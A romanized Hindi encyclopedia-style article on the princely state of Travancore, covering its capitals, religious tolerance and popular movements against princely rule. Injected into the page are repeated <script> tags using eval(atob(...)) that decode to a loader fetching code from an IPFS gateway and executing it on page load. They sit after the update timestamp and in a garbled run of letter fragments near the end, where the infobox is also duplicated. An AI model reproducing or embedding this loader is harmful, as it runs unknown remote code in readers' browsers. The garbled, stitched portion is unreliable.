त्रावणकोर

	travanakor
	travanakor ke maharaja ka nivas sthan\|200px\|center
vivaran	'travanakor' bharat ki azadi se poorv tak ek riyasat thi. isaka vistar bharat ke adhunik keral ke madhy aur dakshini bhag par aur tamilanadu ke kanyakumari par tha.
desh	bharat
rajadhani	padmanabhapuram (1729-1795 ee.), tiruvanantapuram (1795–1949 ee.)
bhashaean	malayalam, telugoo
dharm	hindoo
sanbandhit lekh	keral ka itihas, keral ke paryatan sthal
any janakari	san 1932 ke sanvaidhanik sudharoan ke viruddh travanakor mean ek vyapak jan aandolan uth kh da hua tha. is aandolan ki prishthabhoomi mean travanakor tatha kochin ki stet kaangres ka gathan hua.
adyatan‎	16:13, 14 aktoobar 2017 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

travanakor (aangrezi: Travancore) san 1949 se pahale ek bharatiy riyasat thi. is par travanakor rajaparivar ka shasan tha, jinaki gaddi pahale padmanabhapuram aur phir tiruvanantapuram mean thi. apane charam par travanakor rajy ka vistar bharat ke adhunik keral ke madhy aur dakshini bhag par aur tamilanadu ke kanyakumari par tha. rajakiy dhvaj par lal prishthabhoomi ke oopar chaandi ka shankh bana hua tha. 19vian shatabdi mean yah british shasan adhin bharat ki ek riyasat ban gee aur isake raja ko sthaniy roop se 21 topoan ki aur rajy se bahar 19 topoan ki salami ki pratishtha di gee. maharaj shri chitira tirunal balaram varma ke 1924-1949 ke rajakal mean rajy sarakar ne samajik aur arthik utthan ke liye kee prayatn kiye, jinase yah british shasan ke adhin bharat ki doosari sabase samriddh riyasat ban gaya aur shiksha, rajavyavastha, janahit karyoan aur samajik sudhar ke liye jana jane laga.

itihas

bharat mean raja ke kartavyoan ko rajadharm ki sanjna di gee hai. isaki vyakhya is roop mean ki ja sakati hai ki "shasak ka dayitv hai ki vah dharm ki raksha kare" arthath "apane rajy mean shaanti, samriddhi, nyay aur vyavastha ki sthapana ko sunishchit kare." in kartavyoan mean kadachith sabase mahatvapoorn kartavy devataoan aur unake mandiroan ki raksha karana tha. shripadmanabh ke sevak ke roop mean travanakor ke maharaja anek anushthanoan ka palan karate the, jinamean se adhikaansh ki pratha atharahavian shatabdi ke madhy mean martand varma dvara shuroo ki gee thi. travanakor ek aisa rajy tha, jisamean gair-hinduoan ki, visheshakar siriyaee eesaeeyoan ki sankhya bahut thi. 1875 ee. mean, rajy ki kul abadi mean eesaiyoan ki sankhya lagabhag 20 pratishat aur musalamanoan ki sankhya 6 pratishat thi. lagata hai ki adhunik se poorv kal mean hindoo bahul travanakor mean vibhinn panthavalambiyoan ka sah-astitv tha aur sabhi us rajy ke ekikrit aang the. is sah-astitv ka mukhy karan tha, paanthik sahishnuta ki ardh-sarakari niti.'^[1]

lephtineant vard aur kanar ne 1816 se 1820 ee. ke bich travanakor aur kochchi ka sarvekshan kiya tha. unhoanne is vishay mean kaha hai ki "in donoan rajyoan mean eesaee mat ko mukhy adhikariyoan dvara poorn manyata prapt thi aur unaki nyay vyavastha mean athava upeksha ke karan eesaiyoan ko yatana pahuanchaee gee ho, aisa pratit nahian hota. thumb|left|200px|travanakor riyasat ka naksha 1904 shrimulam vidhanamandal ki pahali baithak mean divan vi.pi. madhav rav ne kaha tha ki sabhi panthoan ke sath barabari ka vyavahar karana travanakor rajy ki ek visheshata hai. mishanariyoan ne bhi nyoonadhik roop mean is bat ko manyata di. je. navals namak mishanari ne 1898 mean yah kaha tha ki travanakor rajy mean gair-hinduoan ke prati sahishnuta us rajy ki ek alag pahachan hai. vastut: hindoo rajaoan ne siriyaee eesaeeyoan ko vishesh adhikar aur samman diya, jisase unaki pahachan uchch jati ke roop mean hoti thi. siriyaee eesaiyoan ke charch mean jab purohitaee ki satta se sambandhit koee apasi vivad hota to ve bhi raja ka samarthan prapt karane ka prayatn karate the. sath hi, lesli braun ke kathananusar, siriyaee eesaee onam aur vishut adi tyoharoan mean bhag lete the, mandiroan ke utsavoan mean shamil hote the aur hinduoan ki bhaanti mandiroan mean bheant chadhate the.

spashtat: travanakor ka hindoo rajy any matavalanbiyoan ke sath koee bhedabhav nahian karata tha. vartaman keral mean, jisaka b da bhag pahale travanakor rajy mean tha, aj bhi sarvadhik paanthik sahishnuta dikhaee deta hai. yah ullekhaniy hai ki aj ke keral rajy mean shamil hone vale any pramukh rajy kochchi aur malabar the. donoan rajyoan par hindoo raja raj karate the. kochchi ka raja 'maharaja' aur malabar ka raja 'jamorin' kahalata tha. donoan mean travanakor ke saman hi paanthik sahishnuta thi. vastut: tinoan rajyoan mean itani paanthik sahishnuta thi ki vahaan mat-parivartan ki poori chhoot thi. isaka nihitarth yah hai ki hindoo chiantan mean rajy ka koee dridh praroop nahian hai.

deshi rajyoan ke viruddh sangharsh-kuchh tathy

travanakor v kochin keral ke pramukh deshi rajy the.
travanakor mean kushasan ka pardaphash karane ke karan ramkrishna pillai ko 1910 mean desh se nirvasit kar diya gaya tha.
travanakor mean stets pipuls kaanphres ka pahala sammelan san 1928 mean hua.
san 1932 ke sanvaidhanik sudharoan ke viruddh travanakor mean ek vyapak jan aandolan uth kh da hua. is aandolan ki prishthabhoomi mean travanakor tatha kochin ki stet kaangres ka gathan hua.
travanakor kochin p aaulitikal kaanphreans ka sammelan san 1937 mean hua.
san 1938 mean kochin rajy mean aanshik uttaradayi sarakar ki sthapana huee. travanakor mean uttaradayi sarakar ki maang ko lekar jan aandolan hua.
san 1946 mean pun: travanakor mean jan andolan hua. usake dabav mean uttaradayi shasan ki sthapana tatha svatantr travanakor ka si. pi. ramasvami ayar ka svapn bhang.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ goradiya, praphull. panthanirapekshata hi raha adhar (hindi) panchjanya.com. abhigaman tithi: 14 aktoobar, 2017.

bahari k diyaan

deshi rajyoan ke viruddh sangharsh-kuchh tathy

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] radiya, praphull. panthanirapekshata hi raha adhar (hindi) panchjanya.com. abhigaman tithi: 14 aktoobar, 2017.

[1]

travanakor
travanakor ke maharaja ka nivas sthan\|200px\|center
vivaran	'travanakor' bharat ki azadi se poorv tak ek riyasat thi. isaka vistar bharat ke adhunik keral ke madhy aur dakshini bhag par aur tamilanadu ke kanyakumari par tha.
desh	bharat
rajadhani	padmanabhapuram (1729-1795 ee.), tiruvanantapuram (1795–1949 ee.)
bhashaean	malayalam, telugoo
dharm	hindoo
sanbandhit lekh	keral ka itihas, keral ke paryatan sthal
any janakari	san 1932 ke sanvaidhanik sudharoan ke viruddh travanakor mean ek vyapak jan aandolan uth kh da hua tha. is aandolan ki prishthabhoomi mean travanakor tatha kochin ki stet kaangres ka gathan hua.
adyatan‎	16:13, 14 aktoobar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>